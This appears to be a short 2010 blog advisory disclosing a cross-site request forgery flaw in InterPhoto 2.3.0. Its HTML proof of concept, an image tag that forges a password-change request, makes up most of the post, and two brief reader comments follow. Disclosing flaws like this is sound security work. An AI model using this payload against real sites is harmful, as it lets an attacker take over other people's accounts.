This site is soon to be deprecated by http://www.johnleitch.net

Sunday, July 11, 2010

InterPhoto 2.3.0 Cross-site Request Forgery

A cross-site request forgery vulnerability in InterPhoto 2.3.0 can be exploited to change a user's password.

PoC
<html>
    <body>
        <img src="http://localhost/interphoto/mydesk.edit.php?action=updateuser&password=newpassword&repassword=newpassword&email=a%40a.com&userfullname=&usercompany=&useraddress=&userpostcode=&usertel=&userfax=&useronline=&userwebsite=" />
    </body>
</html>
Posted by John Leitch at 8:06 AM
Labels: , ,

2 comments:

  1. android tabletJuly 15, 2011 at 6:02 PM

    Good post. Thanks for sharing.

    ReplyDelete
  2. klimaticiApril 18, 2019 at 2:28 AM

    Hey Mr, nice job. Do you mind if I quote you on my blog if I link back to your website?

    ReplyDelete

Subscribe to: Post Comments (Atom)